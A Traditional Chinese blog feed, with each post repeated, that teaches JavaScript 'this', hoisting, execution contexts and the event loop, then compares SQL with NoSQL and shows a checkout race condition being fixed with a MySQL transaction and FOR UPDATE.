的 this.value 是甚麼呢? 其實可以翻譯成印出 obj.inner 的 value 來,因為現在執行的是 obj.inner 上的 hello 函式,所以 this 這時候指向 obj.inner,所以會印出 2。
接著關注這段程式碼
const obj2 = obj.inner
obj2.hello() // ??
因為 obj2 也指向 obj.inner 儲存的地方,所以 obj2.value 也是 2。當執行 obj2.hello(),可以翻譯成印出 obj2 的 value 來,所以會印出 2。
最後關注這段程式碼
const hello = obj.inner.hello
hello() // ??
hello() 現在就單純只是一個函式,所以 this 指不到任何東西,在程式一開始執行時,會創造一個全域物件,這個時候的 this 會指向這個全域物件,在瀏覽器裡這個全域物件就是 Window,但是因為 Window 裡並沒有 value 這個屬性,所以會印出 undefined。
總結一下最後的輸出是
2
2
undefined
JavaScript 是如何被執行的 (1)?
JavaScript 是如何被執行的 (2)?
JavaScript 是如何被執行的 (3)?
const obj = {
value: 1,
hello: function() {
console.log(this.value)
},
inner: {
value: 2,
hello: function() {
console.log(this.value)
}
}
}
const obj2 = obj.inner
const hello = obj.inner.hello
obj.inner.hello() // ??
obj2.hello() // ??
hello() // ??
這一次我們不討論 JavaScript 的執行過程,我們要討論 this
這個東西,程式碼執行到最後三行的時候會印出三次 this.value,所以這三個 this.value 會是甚麼呢?
在之前變數可以被取用的範圍取決於語彙環境 (Lexical Environment),也就是說是取決於你把這段程式碼寫在哪
,再白話一點就是 Scope 是取決於函式在哪裡被定義的。而不是在哪裡被執行的。
但是,this 正好相反,它取決於函式在哪裡被執行
。其實 this
這樣子的取名很傳神,給人一種就是現在這個東西的感覺。
obj.inner.hello()
的 this.value 是甚麼呢? 其實可以翻譯成印出 obj.inner 的 value 來,因為現在執行的是 obj.inner 上的 hello 函式,所以 this 這時候指向 obj.inner,所以會印出 2。
接著關注這段程式碼
const obj2 = obj.inner
obj2.hello() // ??
因為 obj2 也指向 obj.inner 儲存的地方,所以 obj2.value 也是 2。當執行 obj2.hello(),可以翻譯成印出 obj2 的 value 來,所以會印出 2。
最後關注這段程式碼
const hello = obj.inner.hello
hello() // ??
hello() 現在就單純只是一個函式,所以 this 指不到任何東西,在程式一開始執行時,會創造一個全域物件,這個時候的 this 會指向這個全域物件,在瀏覽器裡這個全域物件就是 Window,但是因為 Window 裡並沒有 value 這個屬性,所以會印出 undefined。
總結一下最後的輸出是
2
2
undefined
JavaScript 是如何被執行的 (1)?
JavaScript 是如何被執行的 (2)?
JavaScript 是如何被執行的 (3)?
var a = 1
function fn(){
console.log(a)
var a = 5
console.log(a)
a++
var a
fn2()
console.log(a)
function fn2(){
console.log(a)
a = 20
b = 100
}
}
fn()
console.log(a)
a = 10
console.log(a)
console.log(b)
在第二題的時候提到了在進入一個 Execution Context (EC) 的時候,會進行變數的初始化,這個動作也叫做 Hoisting,想知道這一題會輸出甚麼需要對 Hoisting 的規則有更深入的了解。
我們把 EC 分成 global 還有 functional 兩種,首先看 Global EC 的 Hoisting。
首先由上而下尋找有沒有函式被定義。我們找到了名為 fn 的函式,所以目前 globalEC.VO = {fn: xxx}
。
因為接下來已經沒有函式被定義了,所以由上而下尋找有沒有 var 語法。我們找到了 var a = 1,所以目前 globalEC.VO = {fn: xxx, a: undefined}
。
最後創造 globalEC.scopeChain = [globalEC.VO]。
記得之前說過函式被執行的時候,Execution Context 的 scopeChain 會是自己的 VO 加上函式被定義時的 Execution Context 的 scopeChain 嗎? 所以其實在 fn 被定義的時候,會有 fn.scope = globalEC.scopeChain
被記錄下來,這個資訊就是所謂的函式被定義時的 Execution Context 的 scopeChain。
編譯階段結束以後,開始執行。
globalEC.VO = {fn: xxx, a: 1}
。首先定義函式傳入的參數,但因為沒有參數被傳入所以跳過。
再來由上而下尋找有沒有函式被定義。我們找到了名為 fn2 的函式,所以目前 fnEC.VO = {fn2: xxx}
。
由上而下尋找有沒有 var 語法,第四行 var a = 5,所以目前 fnEC.VO = {fn2: xxx, a: undefined}
。第七行 var = a,但是 fnEC.VO
裡已經有定義變數 a ,因此略過。
最後 fnEC.scopeChain = [fnEC.VO, ...fnEC.scope]
,也就是 fnEC.scopeChain = [fnEC.VO, globalEC.VO]
。
別忘了設定 fn2 的 scope,fn2.scope = fnEC.scopeChain
。
編譯階段結束以後,開始執行
fnEC.VO = {fn2: xxx, a: 5}
。fnEC.VO = {fn2: xxx, a: 6}
。首先定義函式傳入的參數,但因為沒有參數被傳入所以跳過。
再來由上而下尋找有沒有函式被定義,沒有所以跳過。
由上而下尋找有沒有 var 語法,也沒有,所以 fn2EC.VO = {}
。
最後創造 fn2 EC 的 scopeChain,fn2EC.scopeChain = [fn2EC.VO, ...fn2EC.scope]
,也就是 fn2EC.scopeChain = [fn2EC.VO, fnEC.VO, globalEC.VO]
。
編譯階段結束以後,開始執行
fnEC.VO = {fn2: xxx, a: 20}
globalEC.VO = {fn: xxx, a: 1, b: 100}
fn2 EC 執行結束以後,回到了 fn EC。
繼續執行
fn2 EC 執行結束以後,回到了 global EC。
繼續執行
globalEC.VO = {fn: xxx, a: 10, b: 100}
。global EC 執行結束以後,Call Stack 為空。
undefined
5
6
20
1
10
100
var a = 1
function fn(){
console.log(a)
var a = 5
console.log(a)
a++
var a
fn2()
console.log(a)
function fn2(){
console.log(a)
a = 20
b = 100
}
}
fn()
console.log(a)
a = 10
console.log(a)
console.log(b)
在第二題的時候提到了在進入一個 Execution Context (EC) 的時候,會進行變數的初始化,這個動作也叫做 Hoisting,想知道這一題會輸出甚麼需要對 Hoisting 的規則有更深入的了解。
我們把 EC 分成 global 還有 functional 兩種,首先看 Global EC 的 Hoisting。
首先由上而下尋找有沒有函式被定義。我們找到了名為 fn 的函式,所以目前 globalEC.VO = {fn: xxx}
。
因為接下來已經沒有函式被定義了,所以由上而下尋找有沒有 var 語法。我們找到了 var a = 1,所以目前 globalEC.VO = {fn: xxx, a: undefined}
。
最後創造 globalEC.scopeChain = [globalEC.VO]。
記得之前說過函式被執行的時候,Execution Context 的 scopeChain 會是自己的 VO 加上函式被定義時的 Execution Context 的 scopeChain 嗎? 所以其實在 fn 被定義的時候,會有 fn.scope = globalEC.scopeChain
被記錄下來,這個資訊就是所謂的函式被定義時的 Execution Context 的 scopeChain。
編譯階段結束以後,開始執行。
globalEC.VO = {fn: xxx, a: 1}
。首先定義函式傳入的參數,但因為沒有參數被傳入所以跳過。
再來由上而下尋找有沒有函式被定義。我們找到了名為 fn2 的函式,所以目前 fnEC.VO = {fn2: xxx}
。
由上而下尋找有沒有 var 語法,第四行 var a = 5,所以目前 fnEC.VO = {fn2: xxx, a: undefined}
。第七行 var = a,但是 fnEC.VO
裡已經有定義變數 a ,因此略過。
最後 fnEC.scopeChain = [fnEC.VO, ...fnEC.scope]
,也就是 fnEC.scopeChain = [fnEC.VO, globalEC.VO]
。
別忘了設定 fn2 的 scope,fn2.scope = fnEC.scopeChain
。
編譯階段結束以後,開始執行
fnEC.VO = {fn2: xxx, a: 5}
。fnEC.VO = {fn2: xxx, a: 6}
。首先定義函式傳入的參數,但因為沒有參數被傳入所以跳過。
再來由上而下尋找有沒有函式被定義,沒有所以跳過。
由上而下尋找有沒有 var 語法,也沒有,所以 fn2EC.VO = {}
。
最後創造 fn2 EC 的 scopeChain,fn2EC.scopeChain = [fn2EC.VO, ...fn2EC.scope]
,也就是 fn2EC.scopeChain = [fn2EC.VO, fnEC.VO, globalEC.VO]
。
編譯階段結束以後,開始執行
fnEC.VO = {fn2: xxx, a: 20}
globalEC.VO = {fn: xxx, a: 1, b: 100}
fn2 EC 執行結束以後,回到了 fn EC。
繼續執行
fn2 EC 執行結束以後,回到了 global EC。
繼續執行
globalEC.VO = {fn: xxx, a: 10, b: 100}
。global EC 執行結束以後,Call Stack 為空。
undefined
5
6
20
1
10
100
for(var i=0; i<5; i++) {
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
}
想要知道這個題目的結果,首先要知道 JavaScript 程式碼是如何被編譯以及執行的。
V8 引擎開始執行一段 Javascript 的時候,首先會創造一個 Global 的 Execution Context( 執行環境 )。執行環境裡面會初始化一些變數,產生 this 以及產生 ScopeChain,。
除了 Global Execution Context 以外,執行每個函式以前,V8 引擎也會先創造專屬於要執行的函式的 Execution Context,裡面一樣會初始化一些變數,this 以及產生 Scope Chain。
我們把這個 Global Execution Context 簡稱為 GlobalEC,在編譯階段先參考有沒有變數要先初始化,首先創造一個叫做 Variable Object(VO) 的物件,裡面存取 Global Execution Context 裡的變數以及變數的值。
因為還在編譯階段,所以我們只需要騰出記憶體空間來給變數就好,瀏覽過一遍程式碼以後,GlobalEC 的 VO 會長得像這樣:
globalEC.VO = {
i: undefied
}
接著把 ScopeChain 給設定,Scope Chain 是一個陣列,裡面儲存了 Execution Context 的 VO,GlobalEC 的 ScopeC hain 會長得像這樣:
GlobalEC.scopeChain = [GlobalEC.VO]
編譯完成以後進入執行階段,把 for 分解一下:
i = 0
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 1
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 2
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 3
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 4
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 5
i < 5 // false
break
接著開始逐行執行程式碼,i = 0
,i 要去哪裡找呢? 這個時候 Global Execution Context 的 Scope Chain 就派上用場了,變數會依序從 Scope Chain 裡儲存的物件裡尋找,還記得 GlobalEC.scopeChain = [GlobalEC.VO]
嗎? 也就是說 i 會在 GlobalEC.VO 裡尋找,所以
globalEC.VO = {
i: 0
}
接著是 i < 5
,一樣會用 GlobalEC.VO 裡的 i 進行判斷,所以判斷為 true。
接著是console.log('i: ' + i)
,所以印出 i: 0
。
接著是setTimeout(() => { console.log(i) }, i * 1000)
,這邊要注意因為 setTimeout 是一個函式,所以現在會進到一個 setTimeout Execution Context,因為 setTimeout 可能執行很多次,所以姑且先叫做 setTimeout Execution Context I。
因為 setTimeOut 是內建函式,所以我們暫時把它當作一個黑盒子,但基本上流程還是這樣子的。
初始化的過程一樣會創建 variable object。
setTimeOutEC_I.VO = {
argument1: () => { console.log(i) }
argument2: i * 1000 // 0 * 1000 = 0
}
這邊有個小問題是 argument2 的值 i 是甚麼,因為 SetTimeOut Execution Context I 還在編譯階段,所以這裡的 i 會是 globalEC.VO 裡的 i,也就是 0。
接著便有趣了,初始化階段還要創造 Scope Chain,首先變數應該要從自己的執行環境先開始找起嘛,所以 SetTimeOutEC_I.scopeChain =
[SetTimeOutEC_I.VO],那如果找不到呢? 接著要往當前的函數被宣告的執行環境去找。
setTimeOut 這個函式是在哪裡被定義的呢? 因為是內建函式,所以肯定在 Global EC 就宣告了,否則根本沒辦法從 Global Execution Context 進入到 SetTimeOut Execution Context I。
所以現在我們使得 setTimeOutEC_I.scopeChain = [setTimeOutEC_I.VO,...globalEC_I.scopeChain]
,所以最後setTimeOutEC_I.scopeChain = [setTimeOutEC_I.VO,globalEC_I.VO]
。
編譯完成進入執行階段,呼叫 Web API,這時候瀏覽器就會使用另一個 thread 來計時 0 秒,0 秒後將 callback function 丟進 Callback Queue。
SetTimeOut Execution Context I 執行完以後就會被移走,因為 Global Execution Context 還沒執行結束,所以不用再初始化,現在又回到了 Global Execution Context 裡。
仔細觀察一下程式碼會發現接著還會再進入,SetTimeOut Execution Context II, SetTimeOut Execution Context III, SetTimeOut Execution Context VI。因為接下來的事情都很重複所以就不再詳細走過一遍。
在程式執行的時候,總共有五個計時器在運作,分別要計時,0 秒、 1 秒、 2 秒、 3 秒、 4 秒。要注意的是因為這五個計時器也是非同步運作的,所以最後執行 callback 的時間原則上都只會差一秒。
最後我們來模擬一下,callback function 是怎麼被執行的。
callback function 執行的順序應該是這樣的:
1.() => {console.log(i)} // 在 SetTimeOut EC I 時被定義
2.() => {console.log(i)} // 在 SetTimeOut EC II 時被定義
3.() => {console.log(i)} // 在 SetTimeOut EC III 時被定義
4.() => {console.log(i)} // 在 SetTimeOut EC VI 時被定義
5.() => {console.log(i)} // 在 SetTimeOut EC V 時被定義
因為這五個都是函式,所以會有五個執行環境被誕生,我們就叫他們 Callback EC I ~ Callback EC V。
從 Callback EC I 開始,因為函式裡面沒有任何東西被宣告,也沒有參數,所以 callbackEC_I.VO = {}
。接著要創造 callbackEC_I.scopeChain,創造 scopeChain 的規則首先放入目前執行環境的 VO,所以 callbackEC_I.scopeChain = [callbackEC_I.VO]
,接著要加上函式被定義時的執行環境的 scopeChain。 因為這個函式是在 Global Execution Context I 被定義的,所以 callbackEC_I.scopeChain = [callbackEC_I.VO, ...globalEC.scopeChain]
,也就是 callbackEC_I.scopeChain = [callbackEC_I.VO, globalEC.VO]
。
編譯完成以後開始執行 console.log(i)
,循著 callbackEC_I.scopeChain 尋找變數 i,最後在 globalEC.VO 裡找到了 i = 5,所以印出 5。
結果會如何也是顯而易見了,最後印出的結果會是:
i: 0
i: 1
i: 2
i: 3
i: 4
5
5
5
5
5
最後可以參考 CallStack 的示意圖來對各個 Execution Context 生成及消失的時機更明瞭。
for(var i=0; i<5; i++) {
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
}
想要知道這個題目的結果,首先要知道 JavaScript 程式碼是如何被編譯以及執行的。
V8 引擎開始執行一段 Javascript 的時候,首先會創造一個 Global 的 Execution Context( 執行環境 )。執行環境裡面會初始化一些變數,產生 this 以及產生 ScopeChain,。
除了 Global Execution Context 以外,執行每個函式以前,V8 引擎也會先創造專屬於要執行的函式的 Execution Context,裡面一樣會初始化一些變數,this 以及產生 Scope Chain。
我們把這個 Global Execution Context 簡稱為 GlobalEC,在編譯階段先參考有沒有變數要先初始化,首先創造一個叫做 Variable Object(VO) 的物件,裡面存取 Global Execution Context 裡的變數以及變數的值。
因為還在編譯階段,所以我們只需要騰出記憶體空間來給變數就好,瀏覽過一遍程式碼以後,GlobalEC 的 VO 會長得像這樣:
globalEC.VO = {
i: undefied
}
接著把 ScopeChain 給設定,Scope Chain 是一個陣列,裡面儲存了 Execution Context 的 VO,GlobalEC 的 ScopeC hain 會長得像這樣:
GlobalEC.scopeChain = [GlobalEC.VO]
編譯完成以後進入執行階段,把 for 分解一下:
i = 0
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 1
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 2
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 3
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 4
i < 5 // true
console.log('i: ' + i)
setTimeout(() => {
console.log(i)
}, i * 1000)
i = 5
i < 5 // false
break
接著開始逐行執行程式碼,i = 0
,i 要去哪裡找呢? 這個時候 Global Execution Context 的 Scope Chain 就派上用場了,變數會依序從 Scope Chain 裡儲存的物件裡尋找,還記得 GlobalEC.scopeChain = [GlobalEC.VO]
嗎? 也就是說 i 會在 GlobalEC.VO 裡尋找,所以
globalEC.VO = {
i: 0
}
接著是 i < 5
,一樣會用 GlobalEC.VO 裡的 i 進行判斷,所以判斷為 true。
接著是console.log('i: ' + i)
,所以印出 i: 0
。
接著是setTimeout(() => { console.log(i) }, i * 1000)
,這邊要注意因為 setTimeout 是一個函式,所以現在會進到一個 setTimeout Execution Context,因為 setTimeout 可能執行很多次,所以姑且先叫做 setTimeout Execution Context I。
因為 setTimeOut 是內建函式,所以我們暫時把它當作一個黑盒子,但基本上流程還是這樣子的。
初始化的過程一樣會創建 variable object。
setTimeOutEC_I.VO = {
argument1: () => { console.log(i) }
argument2: i * 1000 // 0 * 1000 = 0
}
這邊有個小問題是 argument2 的值 i 是甚麼,因為 SetTimeOut Execution Context I 還在編譯階段,所以這裡的 i 會是 globalEC.VO 裡的 i,也就是 0。
接著便有趣了,初始化階段還要創造 Scope Chain,首先變數應該要從自己的執行環境先開始找起嘛,所以 SetTimeOutEC_I.scopeChain =
[SetTimeOutEC_I.VO],那如果找不到呢? 接著要往當前的函數被宣告的執行環境去找。
setTimeOut 這個函式是在哪裡被定義的呢? 因為是內建函式,所以肯定在 Global EC 就宣告了,否則根本沒辦法從 Global Execution Context 進入到 SetTimeOut Execution Context I。
所以現在我們使得 setTimeOutEC_I.scopeChain = [setTimeOutEC_I.VO,...globalEC_I.scopeChain]
,所以最後setTimeOutEC_I.scopeChain = [setTimeOutEC_I.VO,globalEC_I.VO]
。
編譯完成進入執行階段,呼叫 Web API,這時候瀏覽器就會使用另一個 thread 來計時 0 秒,0 秒後將 callback function 丟進 Callback Queue。
SetTimeOut Execution Context I 執行完以後就會被移走,因為 Global Execution Context 還沒執行結束,所以不用再初始化,現在又回到了 Global Execution Context 裡。
仔細觀察一下程式碼會發現接著還會再進入,SetTimeOut Execution Context II, SetTimeOut Execution Context III, SetTimeOut Execution Context VI。因為接下來的事情都很重複所以就不再詳細走過一遍。
在程式執行的時候,總共有五個計時器在運作,分別要計時,0 秒、 1 秒、 2 秒、 3 秒、 4 秒。要注意的是因為這五個計時器也是非同步運作的,所以最後執行 callback 的時間原則上都只會差一秒。
最後我們來模擬一下,callback function 是怎麼被執行的。
callback function 執行的順序應該是這樣的:
1.() => {console.log(i)} // 在 SetTimeOut EC I 時被定義
2.() => {console.log(i)} // 在 SetTimeOut EC II 時被定義
3.() => {console.log(i)} // 在 SetTimeOut EC III 時被定義
4.() => {console.log(i)} // 在 SetTimeOut EC VI 時被定義
5.() => {console.log(i)} // 在 SetTimeOut EC V 時被定義
因為這五個都是函式,所以會有五個執行環境被誕生,我們就叫他們 Callback EC I ~ Callback EC V。
從 Callback EC I 開始,因為函式裡面沒有任何東西被宣告,也沒有參數,所以 callbackEC_I.VO = {}
。接著要創造 callbackEC_I.scopeChain,創造 scopeChain 的規則首先放入目前執行環境的 VO,所以 callbackEC_I.scopeChain = [callbackEC_I.VO]
,接著要加上函式被定義時的執行環境的 scopeChain。 因為這個函式是在 Global Execution Context I 被定義的,所以 callbackEC_I.scopeChain = [callbackEC_I.VO, ...globalEC.scopeChain]
,也就是 callbackEC_I.scopeChain = [callbackEC_I.VO, globalEC.VO]
。
編譯完成以後開始執行 console.log(i)
,循著 callbackEC_I.scopeChain 尋找變數 i,最後在 globalEC.VO 裡找到了 i = 5,所以印出 5。
結果會如何也是顯而易見了,最後印出的結果會是:
i: 0
i: 1
i: 2
i: 3
i: 4
5
5
5
5
5
最後可以參考 CallStack 的示意圖來對各個 Execution Context 生成及消失的時機更明瞭。
假設現在有一個 Javascript 的程式碼想利用 chrome 的 V8 引擎來執行,程式碼長的是這樣子的。
console.log(1)
setTimeout(() => {
console.log(2)
}, 0)
console.log(3)
setTimeout(() => {
console.log(4)
}, 0)
console.log(5)
首先先概略的了解一下瀏覽器會怎麼去分配不同的執行緒。V8 引擎是跑在 main thread 上的,順帶一提,網頁的畫面渲染也是 main thread 在負責的。那麼還有其他的 threads 會被分配去執行其他的工作,比如說負責按碼表計時的 thread。底下是基本的架構圖。
當程式碼開始執行,我們首先先關注 main thread 裡依序發生了甚麼事,注意一個 thread 一次只能做一件事,所以下面列舉的依照先後順序發生。把 Call Stack 想像成一種資料結構,Call Stack 決定了 main thread 要執行的任務的優先順序。
console.log(1)
印出 1。setTimeout(() => { console.log(2) }, 0)
幫我設個計時器,0 秒之後執行 callback functionconsole.log(3)
印出 3。setTimeout(() => { console.log(4) }, 0)
幫我設個計時器,0 秒之後執行 callback functionconsole.log(5)
印出 5。到此為止程式碼被執行完畢。
假設我們把負責計時的 thread 叫做 timeout thread 好了,第一次 main thread 想要叫 timeout thread 計時 0 秒,所以編號 1 的 timeout thread 就計時 0 秒,接著把 callback 函式丟到 Callback Queue 裡面去。
第二次 main thread 又想要叫 timeout thread 計時 0 秒,所以編號 2 的 timeout thread 就計時 0 秒,接著把 callback 函式丟到 Callback Queue 裡面去。
我們把 Callback Queue 以一個陣列表示,裏頭有兩個匿名函式,[() => { console.log(2) }, () => { console.log(4) }]
。
Event Loop 遵守幾個原則。
接著來模擬一下 Event Loop 的執行步驟吧。
我們再回到 main thread 一次,從步驟 6 開始。
() => { console.log(2) }
,印出 2。() => { console.log(4) }
,印出 4。到此為止再用一張流程圖來視覺化上面的流程。
最後結果會輸出:
1
3
5
2
4
]]>假設現在有一個 Javascript 的程式碼想利用 chrome 的 V8 引擎來執行,程式碼長的是這樣子的。
console.log(1)
setTimeout(() => {
console.log(2)
}, 0)
console.log(3)
setTimeout(() => {
console.log(4)
}, 0)
console.log(5)
首先先概略的了解一下瀏覽器會怎麼去分配不同的執行緒。V8 引擎是跑在 main thread 上的,順帶一提,網頁的畫面渲染也是 main thread 在負責的。那麼還有其他的 threads 會被分配去執行其他的工作,比如說負責按碼表計時的 thread。底下是基本的架構圖。
當程式碼開始執行,我們首先先關注 main thread 裡依序發生了甚麼事,注意一個 thread 一次只能做一件事,所以下面列舉的依照先後順序發生。把 Call Stack 想像成一種資料結構,Call Stack 決定了 main thread 要執行的任務的優先順序。
console.log(1)
印出 1。setTimeout(() => { console.log(2) }, 0)
幫我設個計時器,0 秒之後執行 callback functionconsole.log(3)
印出 3。setTimeout(() => { console.log(4) }, 0)
幫我設個計時器,0 秒之後執行 callback functionconsole.log(5)
印出 5。到此為止程式碼被執行完畢。
假設我們把負責計時的 thread 叫做 timeout thread 好了,第一次 main thread 想要叫 timeout thread 計時 0 秒,所以編號 1 的 timeout thread 就計時 0 秒,接著把 callback 函式丟到 Callback Queue 裡面去。
第二次 main thread 又想要叫 timeout thread 計時 0 秒,所以編號 2 的 timeout thread 就計時 0 秒,接著把 callback 函式丟到 Callback Queue 裡面去。
我們把 Callback Queue 以一個陣列表示,裏頭有兩個匿名函式,[() => { console.log(2) }, () => { console.log(4) }]
。
Event Loop 遵守幾個原則。
接著來模擬一下 Event Loop 的執行步驟吧。
我們再回到 main thread 一次,從步驟 6 開始。
() => { console.log(2) }
,印出 2。() => { console.log(4) }
,印出 4。到此為止再用一張流程圖來視覺化上面的流程。
最後結果會輸出:
1
3
5
2
4
]]>
SQL (Structured Query Language) 是一種處理關聯式資料庫的語言,而相對於關聯式資料庫,NoSQL (Not Only SQL)泛指非關聯式的資料庫。
首先來比較一下關聯式資料庫與非關聯式資料庫的差別。
SQL | noSQL | |
適用場合 | 交易性以及高度一致性的線上交易處理、線上分析處理 | 低延遲應用程式的各式各樣資料存取 |
資料結構 | 嚴謹定義的欄位結構以及與其他資料表的關係 | 彈性的資料結構,包括鍵值、文件和圖形等等 |
ACID | 可以遵守 ACID | 鬆綁 ACID 模型,來達到能夠橫向擴展的更彈性化資料模型 |
效能提升 | 針對資料表結構優化 | 基礎硬體大小、網路延遲 |
拓展 | 增加硬體運算能力 | 可以分割,透過分散式架構來向外擴展 |
API | 符合結構式查詢語言 (SQL) 的查詢 | 以物件為基礎的 API |
假設我們要從關聯式資料庫 Book 找一本叫制服女孩
的書,資料庫長得像下面這樣:
ID | Author | Year | Title |
1 | 史旺基 | 2014 | 制服女孩 |
2 | 珍.奧斯汀 | 2019 | 福爾摩斯小姐.貝克街的淑女偵探 |
3 | 馬克.弗雷利 | 2021 | 密碼的故事 |
SELECT Title, Year FROM book WHERE title = '制服女孩'
假設有一個使用 JSON 實作的 Book 資料表長得像下面這樣。
[
{
"year" : 2014,
"title" : "制服女孩",
"info" : {
"genres" : ["寫真", "高中"],
"photographer" : "史旺基"
}
},
{
"year": 2021,
"title": "密碼的故事",
"info": {
"grand": "xxx大獎",
"rating": 8.9
}
}
]
可以看到 NoSQL 可以很彈性的存取每本書的資訊。使用 AWS 的 DynamoDB 可以透過比對 key 的方式回傳書籍資訊,比如想找尋 title 是制服女孩的書。
import boto3
from boto3.dynamodb.conditions import Key
dynamodb = boto3.resource('dynamodb', endpoint_url='http://localhost:8000')
table = dynamodb.Table('Book')
response = table.query(KeyConditionExpression=Key('title').eq('制服女孩'))
for book in response['Items']:
print(book['title'])
在上面提到 SQL 以及 NoSQL 的比較提到了 ACID,這裡就來介紹 ACID。
在關聯式資料庫裡常常將資料異動的最小單位稱為一筆交易 (Transaction),舉個簡單的例子,在購物網站的資料庫,顧客下訂了一份巴斯克乳酪蛋糕,有三件事要做。
我們開始思考有甚麼規則是必須遵守的,首先這三個動作要都成功,要不然就都失敗,想像一下,如果步驟 2 成功了,但步驟 3 失敗了,店家認為的蛋糕數量就會比實際上少一個,等到發現的時候,蛋糕可能就壞掉了。
這也就是在一筆交易中要保持 Atomicity( 原子性 ),每一筆交易中只有兩種可能發生,第一種是全部完成 (commit),第二種是全部不完成 (rollback)。
第二個特性是 Consistency( 一致性 ),當錯誤發生,所有已更改的資料或狀態將會恢復至交易之前,相信這件事很好理解。
再來思考一下如果這個巴斯克乳酪蛋糕是超級搶手的限時商品,這時候會發生甚麼情況呢? 大量的訂單可能會同時湧入,就可能會發生 race condition 的情況。至於甚麼是 race condition 呢?
假設現在蛋糕只剩一個了,有兩筆時間非常接近的訂單湧入,我們來預估事件可能發生的情況。
第一筆訂單檢查蛋糕數量剩下一個,所以準備執行下一個動作
|
第二筆訂單檢查蛋糕數量剩下一個,所以準備執行下一個動作
|
第一筆訂單執行把蛋糕數量 -1 ,此時庫存顯示為 0
|
第二筆訂單執行把蛋糕數量 -1 ,此時庫存顯示為 -1
|
第一位客人的購物車放進一個蛋糕
|
第二位客人的購物車放進一個蛋糕
如果畫成簡易的圖大概會像這樣:
--->--->--->
--->--->--->
發現問題了嗎? 所謂的 race condition 就是指一個系統或者進程的輸出依賴於不受控制的事件出現順序。在這個搶購案例裡就出現的超賣的窘境。
要怎麼解決這個問題呢?如果在多筆交易同時進行時,未完成的交易資料並不會被其他交易使用,直到該筆交易完成,這樣就可以解決這個問題了。
而這也就是所謂的 Isolation( 隔離性 )。
最後這個特性雖然感覺有點雞肋但還是很重要的,我們必須保證交易完成後對資料的修改是永久性的,資料不會因為系統重啟或錯誤而改變。也就是所謂的 Durability ( 持續性 )。
剛剛提到在關聯式資料庫資料的異動是以 Transaction 為單位進行的,而每筆交易要保持 ACID 的特性。這邊我們來實作搶購系統的案例來實際演示一下。
我們在 mysql 建一個名叫 product 的資料表,裡面有一個庫存 3 的商品。
接著寫一個很陽春的搶購頁面。
<?php
require_once('conn.php');
$stmt = $conn->prepare("SELECT amount from products where id = 1");
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "amount" . $row['amount'];
if ($row['amount'] > 0) {
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
if ($stmt->execute()) {
echo '購買成功';
}
}
}
$conn->close();
?>
這個頁面會先檢查有沒有庫存,如果有的話就印出庫存數量,接著將資料庫內的庫存數量減 1,然後印出購買成功。
我們連續進入搶購頁面,看到庫存從 3->2->1->0 ,然後維持 0,沒有任何問題。
但如果一次有大量的人進入搶購頁面呢? 為了模擬這個情形,使用 jmeter 軟體來進行模擬。關於 jmeter 的安裝可以參考這裡。
先把資料庫裡的庫存數量調成 1
接著進入 jmeter 設定 10 的執行緒,延遲 0 秒。
設定要送出的請求內容,開始執行。
結果我們發現其中一個 request 竟然回傳 amount: -7,也就是說,10 筆 request 裡面竟然賣出了 8 筆,原來這就是 race condition。
明明只有一個庫存卻賣出了 8 個。
該怎麼辦呢? 回憶剛剛提到的 Transaction 提到的 ACID 特質,這個時候如果利用 Isolation 的特性來鎖住特定的 row,等一筆交易結束後才開鎖就可以解決了。所以我們修改一下搶購頁面的程式碼:
<?php
require_once('conn.php');
$conn->autocommit(FALSE);
$conn->begin_transaction();
$stmt = $conn->prepare("SELECT amount from products where id = 1 for update");
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "amount" . $row['amount'];
if ($row['amount'] > 0) {
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
if ($stmt->execute()) {
echo '購買成功';
}
}
}
$conn->commit();
$conn->close();
?>
首先要把 autocommit 設定成 false,防止每次呼叫 excute 後就會執行 sql 語法。接著開啟一個 Transaction ,把動作都寫進 Transaction 裡,最後再 commit Transaction。
這樣一來
1.檢查有沒有庫存,如果有的話就印出庫存數量,沒庫存就結束
2.將資料庫內的庫存數量減 1
3.印出購買成功
就被包裝成一個 Transaction 了,自然也就具備了 Isolation( 隔離性 )。
等等,眼尖的你可能發現修改過的程式碼多了一個for update
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
這是甚麼意思呢? 在 MySQL 的 InnoDB 中,預設的 Tansaction isolation level 是 REPEATABLE READ(可重讀)。雖然不能更新或刪除,但是超賣的問題就是因為沒有鎖住 row 的讀取而造成的。
SELECT 的讀取鎖定可以使用 for update,這樣一來在交易 (Transaction) 進行當中 SELECT 到同一個數據表時,都必須等待其它交易被提交 (Commit) 後才會執行。
那麼來測試新的搶購頁面,把庫存調回 1,把 jmeter 的設定改成造訪新的搶購頁面來執行。
最後應該可以從結果樹看到只有一筆交易會成功!
]]>SQL (Structured Query Language) 是一種處理關聯式資料庫的語言,而相對於關聯式資料庫,NoSQL (Not Only SQL)泛指非關聯式的資料庫。
首先來比較一下關聯式資料庫與非關聯式資料庫的差別。
SQL | noSQL | |
適用場合 | 交易性以及高度一致性的線上交易處理、線上分析處理 | 低延遲應用程式的各式各樣資料存取 |
資料結構 | 嚴謹定義的欄位結構以及與其他資料表的關係 | 彈性的資料結構,包括鍵值、文件和圖形等等 |
ACID | 可以遵守 ACID | 鬆綁 ACID 模型,來達到能夠橫向擴展的更彈性化資料模型 |
